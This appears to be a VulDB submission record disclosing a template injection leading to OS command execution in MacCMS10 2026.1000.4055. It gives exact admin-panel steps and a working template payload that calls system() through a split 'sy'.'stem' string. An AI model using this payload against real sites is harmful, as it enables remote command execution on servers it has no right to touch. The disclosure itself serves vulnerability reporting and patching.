| Title | MacCMS MacCMS10 maccms10-2026.1000.4055 OS Command Injection |
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| Description | MacCMS10 version maccms10-2026.1000.4055 contains a template injection vulnerability in the backend that allows for system command execution. To exploit this, navigate to `http://127.0.0.1/maccms10-2026.1000.4055/admin1.php/admin/template/index/path/.%40template%40default%40html%40label.html`, add a new file (using any filename with an `.html` extension), and set the content to `{define name="x" value=":array_map('sy'.'stem',array('whoami'))" /}`. After saving, accessing `http://127.0.0.1/maccms10-2026.1000.4055/index.php/label/123.html` triggers the template injection and executes the system command. |
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| Source | ⚠️ https://github.com/magicblack/maccms10/issues/1378 |
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| User | seikruun (UID 100457) |
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| Submission | 08/08/2026 14:50 (1 month ago) |
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| Moderation | 09/13/2026 15:12 (1 month later) |
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| Status | Accepted |
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| VulDB entry | 403294 [magicblack MacCMS10 2026.1000.4055 Template .%40template%40default%40html%40label.html os command injection] |
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| Points | 20 |
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